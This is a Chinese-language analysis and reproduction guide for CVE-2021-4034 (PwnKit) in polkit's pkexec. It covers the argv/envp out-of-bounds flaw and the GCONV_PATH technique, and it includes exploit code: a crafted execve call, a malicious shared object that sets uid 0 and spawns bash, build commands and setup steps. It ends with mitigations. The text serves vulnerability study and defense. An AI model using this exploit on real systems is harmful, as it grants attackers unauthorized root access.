CVE-2021-4034 pkexec再深入分析
字数 1935 2025-08-29 08:31:35

CVE-2021-4034 (PwnKit) 漏洞深入分析与利用指南

1. 漏洞概述

CVE-2021-4034 是 polkit 的 pkexec 组件中存在的一个本地权限提升漏洞,俗称 "PwnKit"。该漏洞允许低权限用户在默认配置下提升至 root 权限。

2. 影响范围

  • 影响 2021 年以前发行的所有 Linux 发行版
  • 所有安装了 polkit 且 pkexec 具有 SUID 权限的系统

3. 漏洞原理分析

3.1 漏洞核心机制

漏洞利用流程可分为两个主要部分:

  1. 设置恶意环境变量
  2. 通过恶意环境变量执行任意命令

3.2 关键代码分析

在 pkexec 源码中(https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c):

  • 533 行n 被赋值为 1
  • 610 行:存在越界读取问题。当执行 pkexec 时不传参数,argv 数组只有默认的 0 下标,1 是不存在的

3.3 内存布局理解

当执行一个程序时,内核会将参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾,布局如下:

|-argv[0] | argv[1]...argv[argc] | envp[0] | envp[1]...envp[envc]
V         V         V             V         V         V
"program" "-option" NULL          "value"   "PATH=name" NULL

由于 argv 和 envp 指针在内存中是连续的,argv[1] 实际上指向的是 envp[0]。通过给 argv[1] 赋值就能修改环境变量。

3.4 关键函数调用

  • 632 行:调用 g_find_program_in_path 函数
    • 根据 glib 源码,此函数用于在 PATH 中搜索传参的绝对路径
    • 例如传参 "id",返回 "/usr/bin/id"
  • 639 行:将返回值越界写入 argv[1](即第一个环境变量)

4. 漏洞利用详解

4.1 设置恶意环境变量

利用代码如下:

char *a_argv[] = { NULL };
char *a_envp[] = { "test", "PATH=GCONV_PATH=.", NULL };
execve("/usr/bin/pkexec", a_argv, a_envp);

操作步骤:

  1. 创建畸形目录:mkdir GCONV_PATH=.
  2. 在目录中创建 test 文件

4.2 为什么不能直接设置环境变量?

Linux 的动态连接器 ld-linux-x86-64.so.2 会在特权程序执行时清除敏感环境变量(如 LD_PRELOAD)。因此必须通过这种间接方式设置环境变量。

测试示例:

  • 普通程序(无 SUID):LD_PRELOAD=./hello.so id → 成功输出
  • pkexec(有 SUID):LD_PRELOAD=./hello.so pkexec → 不生效

4.3 通过环境变量执行命令

关键点:

  • 670 行:用 for 遍历 environment_variables_to_save 作 key,去环境变量中取值
  • 传递给 validate_environment_variable 函数检测 shell 合法性
  • 通过此函数触发关键函数 g_printerr

两种触发方式:

  1. 设置环境变量 SHELL=test
  2. 或设置 XAUTHORITY=..

4.4 调用链分析

g_printerr 间接调用 iconv_open 的调用链:

strdup_convert() <- glib/gmessages.c:1126
g_convert_with_fallback() <- glib/gmessages.c:676
g_convert() <- glib/gconvert.c:972
open_converter() <- glib/gconvert.c:876
g_iconv_open() <- glib/gconvert.c:637
try_conversion() <- glib/gconvert.c:260
iconv_open() <- glib/gconvert.c:208

4.5 GCONV_PATH 机制

iconv_open 会根据环境变量中的 GCONV_PATH 目录下的 gconv-modules 文件加载转换模块。

示例 gconv-modules 文件内容:

module  LANYI//    UTF-8//    lanyi    1

表示 UTF-8 转换到 LANYI 编码需要使用 lanyi.so,数字 1 表示转换成本。

4.6 恶意 SO 文件示例

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void gconv() {
    return;
}

void gconv_init() {
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    static char *a_argv[] = { "bash", NULL };
    static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
    execve("/bin/bash", a_argv, a_envp);
    exit(0);
}

编译命令:

gcc -o lanyi.so -shared -fPIC lanyi.c

4.7 为什么选择 GCONV_PATH 而非 LD_PRELOAD?

  • LD_PRELOAD 的 so 文件加载是在程序执行前,而 pkexec 已经启动后再设置无效
  • PHP 中 LD_PRELOAD 能利用是因为:
    • PHP 设置了 LD_PRELOAD 后,又 fork 了新进程(如使用 popen
    • 父进程的环境变量会被新进程继承
    • 因此需要 PHP 执行 mail 等能 fork 新进程的函数才可利用

5. 漏洞复现步骤

  1. 准备恶意环境:

    mkdir -p 'GCONV_PATH=.'
    touch 'GCONV_PATH=./test'
    chmod +x 'GCONV_PATH=./test'
    
  2. 创建 gconv-modules 文件:

    module  LANYI//    UTF-8//    lanyi    1
    
  3. 编译并放置恶意 so 文件

  4. 执行利用代码

6. 修复方案

  1. 更新到 polkit 最新版本
  2. 取消 pkexec 的 SUID 权限:
    chmod 0755 /usr/bin/pkexec
    

7. 参考资源

  • polkit 源码:https://gitlab.freedesktop.org/polkit/polkit/
  • glib 源码分析
  • 先知社区相关技术文章

8. 扩展思考

  1. 其他可能存在类似越界读写问题的 SUID 程序
  2. Linux 环境变量安全机制的局限性
  3. 特权程序的安全编程实践
CVE-2021-4034 (PwnKit) 漏洞深入分析与利用指南 1. 漏洞概述 CVE-2021-4034 是 polkit 的 pkexec 组件中存在的一个本地权限提升漏洞,俗称 "PwnKit"。该漏洞允许低权限用户在默认配置下提升至 root 权限。 2. 影响范围 影响 2021 年以前发行的所有 Linux 发行版 所有安装了 polkit 且 pkexec 具有 SUID 权限的系统 3. 漏洞原理分析 3.1 漏洞核心机制 漏洞利用流程可分为两个主要部分: 设置恶意环境变量 通过恶意环境变量执行任意命令 3.2 关键代码分析 在 pkexec 源码中(https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c): 533 行 : n 被赋值为 1 610 行 :存在越界读取问题。当执行 pkexec 时不传参数,argv 数组只有默认的 0 下标,1 是不存在的 3.3 内存布局理解 当执行一个程序时,内核会将参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾,布局如下: 由于 argv 和 envp 指针在内存中是连续的,argv[ 1] 实际上指向的是 envp[ 0]。通过给 argv[ 1 ] 赋值就能修改环境变量。 3.4 关键函数调用 632 行 :调用 g_find_program_in_path 函数 根据 glib 源码,此函数用于在 PATH 中搜索传参的绝对路径 例如传参 "id",返回 "/usr/bin/id" 639 行 :将返回值越界写入 argv[ 1 ](即第一个环境变量) 4. 漏洞利用详解 4.1 设置恶意环境变量 利用代码如下: 操作步骤: 创建畸形目录: mkdir GCONV_PATH=. 在目录中创建 test 文件 4.2 为什么不能直接设置环境变量? Linux 的动态连接器 ld-linux-x86-64.so.2 会在特权程序执行时清除敏感环境变量(如 LD_ PRELOAD)。因此必须通过这种间接方式设置环境变量。 测试示例: 普通程序(无 SUID): LD_PRELOAD=./hello.so id → 成功输出 pkexec(有 SUID): LD_PRELOAD=./hello.so pkexec → 不生效 4.3 通过环境变量执行命令 关键点: 670 行 :用 for 遍历 environment_variables_to_save 作 key,去环境变量中取值 传递给 validate_environment_variable 函数检测 shell 合法性 通过此函数触发关键函数 g_printerr 两种触发方式: 设置环境变量 SHELL=test 或设置 XAUTHORITY=.. 4.4 调用链分析 g_printerr 间接调用 iconv_open 的调用链: 4.5 GCONV_ PATH 机制 iconv_open 会根据环境变量中的 GCONV_PATH 目录下的 gconv-modules 文件加载转换模块。 示例 gconv-modules 文件内容: 表示 UTF-8 转换到 LANYI 编码需要使用 lanyi.so ,数字 1 表示转换成本。 4.6 恶意 SO 文件示例 编译命令: 4.7 为什么选择 GCONV_ PATH 而非 LD_ PRELOAD? LD_PRELOAD 的 so 文件加载是在程序执行前,而 pkexec 已经启动后再设置无效 PHP 中 LD_PRELOAD 能利用是因为: PHP 设置了 LD_PRELOAD 后,又 fork 了新进程(如使用 popen ) 父进程的环境变量会被新进程继承 因此需要 PHP 执行 mail 等能 fork 新进程的函数才可利用 5. 漏洞复现步骤 准备恶意环境: 创建 gconv-modules 文件: 编译并放置恶意 so 文件 执行利用代码 6. 修复方案 更新到 polkit 最新版本 取消 pkexec 的 SUID 权限: 7. 参考资源 polkit 源码:https://gitlab.freedesktop.org/polkit/polkit/ glib 源码分析 先知社区相关技术文章 8. 扩展思考 其他可能存在类似越界读写问题的 SUID 程序 Linux 环境变量安全机制的局限性 特权程序的安全编程实践